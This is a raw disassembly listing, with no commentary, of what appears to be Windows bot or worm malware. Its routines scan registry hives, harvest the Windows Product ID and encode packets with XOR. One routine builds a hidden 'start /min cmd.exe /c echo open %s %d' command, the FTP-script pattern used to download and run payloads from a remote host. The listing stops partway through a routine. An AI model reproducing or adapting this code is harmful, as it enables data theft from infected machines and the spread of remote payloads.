		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B77+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B6C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2930000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2900000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5FADE9
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
byte_437AC0	db 90h			; DATA XREF: ___:off_43F004o
					; ___:0043F018o ...
		db 0E9h, 47h, 0E4h
		dd 0E990777Fh, 777E444Ch, 7F18F6E9h
; ---------------------------------------------------------------------------
		ja	short loc_437B04

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		dd 80FFB3E9h, 7DE9A677h, 0B8778101h, 1FBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 34h
dword_437AF0	dd 7E99F2E9h, 0C18B4677h, 0F1D400C7h, 4C20043h,	0F18B5600h
; ---------------------------------------------------------------------------


loc_437B04:				; CODE XREF: ___:00437AD0j
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 88h
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
